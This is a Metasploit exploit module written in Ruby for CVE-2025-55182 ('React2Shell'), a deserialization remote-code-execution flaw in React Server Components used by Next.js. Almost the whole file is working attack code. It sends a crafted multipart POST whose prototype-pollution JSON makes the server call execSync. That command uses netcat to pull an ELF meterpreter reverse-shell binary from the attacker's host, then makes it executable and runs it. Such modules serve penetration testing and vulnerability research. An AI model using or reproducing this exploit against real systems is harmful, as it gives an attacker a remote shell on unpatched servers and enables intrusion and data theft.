##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#       This payload is configured for:
#       msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf
#
# This code exploits React2Shell, a remote code execution vulnerability in React Server Components (RSC) that affects Next.js applications.
#

require 'msf/core'
require 'socket'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'RSC data deseriealized in an unsafe way leading to RCE',
                      'Description' => 'The server processes RSC (React Server Components) data in an unsafe manner leading' \
                                       'to remote code execution in Next.js and others',
                      'Author' => [
                        'Marshall Whittaker',   # exploit author
                        'Lachlan Davidson'      # original discoverer and poc
                      ],
                      'License' => MSF_LICENSE,
                      'Platform' => 'linux',
                      'Arch' => [ARCH_X86],
                      'References' => [
                        ['URL', 'https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/tree/main'],
                        ['URL', 'https://oxasploits.com/exploits/cve-2025-55182-RSC-deserialization-to-rce-react4-shell.rb/'],
                        ['URL', 'https://react2shell.com/'],
                        ['CVE', '2025-55182'],
                        ['CWE', '502']
                      ],
                      'Targets' => [
                        ['React Server Components <= 19.2.0', { 'Privileged' => true }]
                      ],
                      'DefaultOptions' => {
                        'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' # lets use a x86 meterpreter rev (others may work)
                      },
                      'Payload' => {
                        'Format' => 'elf', # we need a whole executable for this, we use elf on linux
                        'Platform' => 'unix'
                      },
                      'Notes' => {
                        'Stability' => [CRASH_SAFE],
                        'Reliability' => [REPEATABLE_SESSION],
                        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
                      },
                      'DisclosureDate' => '2025-12-3',
                      'DefaultTarget' => 0))
    register_options(
      [
        Opt::RPORT(3000),
        OptString.new('RHOST', [true, "The target machine's IP", '']),
        OptString.new('LHOST', [true, "This machine's IP", '']),
        OptInt.new('LSERVPORT', [true, 'The port to listen on for pushing the payload', 6789])
      ], self.class
    )
    register_advanced_options([
                                OptBool.new('HANDLER',
                                            [true, 'Start an exploit/multi/handler job to receive the connection',
                                             true])
                              ])
    deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL')
  end

  def listen(pload, lsp)
    print_status('Starting payload push socket...')
    serv = TCPServer.new(lsp)
    s = serv.accept
    s.write(pload)
    s.close
  end

  def exploit
    rhst = datastore['RHOST']
    rprt = datastore['RPORT']
    lhst = datastore['LHOST']
    lsprt = datastore['LSERVPORT']
    if rhst == '' || rprt == '' || lhst == '' || lsprt == ''
      fail_with(Failure::BadConfig, 'You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.')
    end
    print_status('Generating payload...')
    pay = framework.modules.create(datastore['payload'])
    pay.datastore['LHOST'] = datastore['LHOST']
    pay.datastore['RHOST'] = datastore['RHOST']
    pay.datastore['LPORT'] = datastore['LPORT']
    dropit = pay.generate_simple({ 'Format' => 'elf' })
    fail_with(Failure::PayloadFailed, 'Payload generation failed!  Try a different payload?') if dropit == ''
    print_good('Payload generated!')
    Thread.new do
      listen(dropit, lsprt)
    end
    targexe = "/tmp/shell#{rand(2000)}"
    print_status('Generating JSON string to call execSync...')
    payl = %({"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value":
      "{\\"then\\": \\"$B0\\"}","_response": {"_prefix":
      "process.mainModule.require('child_process').execSync('nc -q 1 #{lhst} #{lsprt} > #{targexe};
      sleep 1; chmod 777 #{targexe}; #{targexe}');","_formData": {"get": "$1:constructor:constructor"}}}).squish
    payb = %("$@0")
    print_status('Starting HTTP client...')
    uri = URI("http://#{rhst}:#{rprt}")
    http = Net::HTTP.new(uri.host, uri.port)
    http.read_timeout = 1
    begin
      http.start
      request = Net::HTTP::Post.new(uri)
      request['Next-Action'] = 'oxagast'
      boundary = "--#{rand(1_000_000)}"
      request.content_type = "multipart/form-data; boundary=#{boundary}"
      body = []
      body << "--#{boundary}"
      body << 'Content-Disposition: form-data; name="0"'
      body << ''
      body << payl
      body << "--#{boundary}"
      body << 'Content-Disposition: form-data; name="1"'
      body << ''
      body << payb
      body << "--#{boundary}--"
      body << ''
      request.body = body.join("\r\n")
      http.request(request)
    rescue Net::ReadTimeout => e
      print_good("Killing client since it won't receive a reply...")
      print_status('Fuck b1tch3s get m0n3y... :P')
      http.finish
    end
  rescue StandardError => e
    puts "An error occurred: #{e.message}"
  ensure
    http.finish if http.started?
  end
end